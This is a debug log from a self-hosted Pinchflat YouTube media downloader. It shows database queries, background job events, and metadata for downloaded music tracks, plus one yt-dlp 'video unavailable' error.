Sent 200 in 6ms 22:20:02.245 [info] CONNECTED TO Phoenix.LiveView.Socket in 31µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "DxQBUD8mJwktLlYVGHhEODpcBSQ8Ax4ofy2gVnNHFHbEz5unj61WowIk", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.tail3db17d.ts.net/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.tail3db17d.ts.net/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 22:20:02.250 [debug] Current batch of media processed. Will check again in 1000ms 22:20:02.318 [debug] MOUNT PinchflatWeb.Sources.SourceLive.IndexTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "initial_sort_direction" => :asc, "initial_sort_key" => :custom_name, "results_per_page" => 10} 22:20:02.321 [debug] QUERY OK source="sources" db=1.5ms queue=0.1ms idle=199.5ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 22:20:02.325 [debug] QUERY OK source="sources" db=2.8ms queue=0.1ms idle=201.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 22:20:02.325 [debug] Replied in 6ms 22:20:03.030 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by IIP-DDS\n\nGhost Ship · Theocracy\n\nGhost Ship\n\n℗ Ulterium Records\n\nReleased on: 2016-10-28\n\nMusic Publisher: Ulterium Records\n\nAuto-generated by YouTube.", "duration" => 279, "filename" => "/downloads/ChristianMetal/ChristianMetal/2019-02-04Ghost Ship[XYPd8X1a4xY].m4a", "id" => "XYPd8X1a4xY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=XYPd8X1a4xY", "playlist_index" => 16, "timestamp" => 1549300414, "title" => "Ghost Ship", "upload_date" => "20190204"} 22:20:03.031 [debug] QUERY OK source="sources" db=0.1ms idle=909.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:20:03.031 [debug] QUERY OK source="sources" db=0.1ms idle=908.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:03.031 [debug] QUERY OK source="media_items" db=0.1ms idle=710.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-02-04 17:13:34Z], 5] 22:20:03.251 [debug] Current batch of media processed. Will check again in 1000ms 22:20:03.303 [debug] QUERY OK source="media_items" db=270.9ms idle=707.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by IIP-DDS\n\nGhost Ship · Theocracy\n\nGhost Ship\n\n℗ Ulterium Records\n\nReleased on: 2016-10-28\n\nMusic Publisher: Ulterium Records\n\nAuto-generated by YouTube.", "Ghost Ship", "534befb6-cfd0-47d8-8209-345ebbd0c742", false, "XYPd8X1a4xY", 279, false, "https://www.youtube.com/watch?v=XYPd8X1a4xY", 16, "/downloads/ChristianMetal/ChristianMetal/2019-02-04Ghost Ship[XYPd8X1a4xY].m4a", false, false, 5, [], 3, ~U[2019-02-04 17:13:34Z], ~U[2026-07-24 02:20:03Z], ~U[2026-07-24 02:20:03Z], "Provided to YouTube by IIP-DDS\n\nGhost Ship · Theocracy\n\nGhost Ship\n\n℗ Ulterium Records\n\nReleased on: 2016-10-28\n\nMusic Publisher: Ulterium Records\n\nAuto-generated by YouTube.", "Ghost Ship", "XYPd8X1a4xY", 279, false, "https://www.youtube.com/watch?v=XYPd8X1a4xY", "/downloads/ChristianMetal/ChristianMetal/2019-02-04Ghost Ship[XYPd8X1a4xY].m4a", false, 5, ~U[2019-02-04 17:13:34Z]] 22:20:03.318 [debug] QUERY OK source="sources" db=14.9ms idle=532.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:03.319 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=287.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:03.320 [debug] QUERY OK source="media_items" db=0.5ms idle=288.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [182] 22:20:03.321 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by Universal Music Group\n\nThe Frost · August Burns Red\n\nPhantom Anthem\n\n℗ 2017 Fearless Records\n\nReleased on: 2017-10-06\n\nMixing Engineer, Producer, Programming Engineer: Carson Slovak\nProgramming Engineer, Producer, Mixing Engineer: Grant McFarland\nComposer Lyricist: JB Brubaker\nComposer Lyricist: William Jacob Luhrs\nComposer Lyricist: Brent Rambler\nComposer Lyricist: Dustin Davidson\nComposer Lyricist: Matthew Greiner\n\nAuto-generated by YouTube.", "duration" => 287, "filename" => "/downloads/ChristianMetal/ChristianMetal/2018-07-26The Frost[3nGCMRW2bOs].m4a", "id" => "3nGCMRW2bOs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=3nGCMRW2bOs", "playlist_index" => 17, "timestamp" => 1532577060, "title" => "The Frost", "upload_date" => "20180726"} 22:20:03.321 [debug] QUERY OK source="sources" db=0.3ms idle=289.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:20:03.322 [debug] QUERY OK source="sources" db=0.4ms idle=18.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:03.323 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=4.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2018-07-26 03:51:00Z], 5] 22:20:03.491 [debug] QUERY OK source="media_items" db=167.7ms idle=4.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by Universal Music Group\n\nThe Frost · August Burns Red\n\nPhantom Anthem\n\n℗ 2017 Fearless Records\n\nReleased on: 2017-10-06\n\nMixing Engineer, Producer, Programming Engineer: Carson Slovak\nProgramming Engineer, Producer, Mixing Engineer: Grant McFarland\nComposer Lyricist: JB Brubaker\nComposer Lyricist: William Jacob Luhrs\nComposer Lyricist: Brent Rambler\nComposer Lyricist: Dustin Davidson\nComposer Lyricist: Matthew Greiner\n\nAuto-generated by YouTube.", "The Frost", "72c2f813-7f18-482c-b6d3-7ef8fae3cd72", false, "3nGCMRW2bOs", 287, false, "https://www.youtube.com/watch?v=3nGCMRW2bOs", 17, "/downloads/ChristianMetal/ChristianMetal/2018-07-26The Frost[3nGCMRW2bOs].m4a", false, false, 5, [], 1, ~U[2018-07-26 03:51:00Z], ~U[2026-07-24 02:20:03Z], ~U[2026-07-24 02:20:03Z], "Provided to YouTube by Universal Music Group\n\nThe Frost · August Burns Red\n\nPhantom Anthem\n\n℗ 2017 Fearless Records\n\nReleased on: 2017-10-06\n\nMixing Engineer, Producer, Programming Engineer: Carson Slovak\nProgramming Engineer, Producer, Mixing Engineer: Grant McFarland\nComposer Lyricist: JB Brubaker\nComposer Lyricist: William Jacob Luhrs\nComposer Lyricist: Brent Rambler\nComposer Lyricist: Dustin Davidson\nComposer Lyricist: Matthew Greiner\n\nAuto-generated by YouTube.", "The Frost", "3nGCMRW2bOs", 287, false, "https://www.youtube.com/watch?v=3nGCMRW2bOs", "/downloads/ChristianMetal/ChristianMetal/2018-07-26The Frost[3nGCMRW2bOs].m4a", false, 5, ~U[2018-07-26 03:51:00Z]] 22:20:03.492 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=171.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:03.493 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=171.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:03.494 [debug] QUERY OK source="media_items" db=0.5ms idle=171.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [183] 22:20:03.494 [debug] Current batch of media processed. Will check again in 1000ms 22:20:03.668 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=-qTzjBAeTCQ --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/d0/18/d018cf86b744ae11da40a4bfc23b862cfd24d5ff3c301a63cd0ea92faefef486.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] -qTzjBAeTCQ: Video unavailable. This video is not available 22:20:03.669 [error] yt-dlp download error for media item #169: "ERROR: [youtube] -qTzjBAeTCQ: Video unavailable. This video is not available\n" 22:20:03.669 [error] yt-dlp download will not be retried: "ERROR: [youtube] -qTzjBAeTCQ: Video unavailable. This video is not available\n" 22:20:03.733 [info] GET /sources/4 22:20:03.734 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "4"} Pipelines: [:browser] 22:20:03.783 [info] {"args":{"id":169},"id":184,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":4014276,"event":"job:stop","queue_time":4173818,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:20:03.790 [debug] QUERY OK source="sources" db=55.9ms idle=242.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:20:03.792 [debug] QUERY OK source="media_profiles" db=0.8ms queue=0.2ms idle=297.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:03.793 [debug] QUERY OK source="tasks" db=0.5ms queue=0.1ms idle=298.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [4, "executing", "available", "scheduled", "retryable"] 22:20:03.794 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=10.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [162] 22:20:03.795 [debug] QUERY OK source="settings" db=0.3ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:03.795 [debug] QUERY OK source="settings" db=0.2ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:03.796 [debug] QUERY OK source="settings" db=0.5ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:03.975 [info] {"args":{"id":179},"id":187,"meta":{},"system_time":1784859603975684400,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:20:03.976 [debug] QUERY OK source="media_items" db=0.2ms idle=180.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [179] 22:20:03.976 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:20:03.976 [debug] QUERY OK source="sources" db=0.1ms idle=180.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:03.977 [debug] QUERY OK source="media_profiles" db=0.1ms idle=179.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:03.977 [debug] QUERY OK source="media_items" db=0.2ms idle=1.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [179] 22:20:03.977 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [179] 22:20:03.978 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:03.978 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 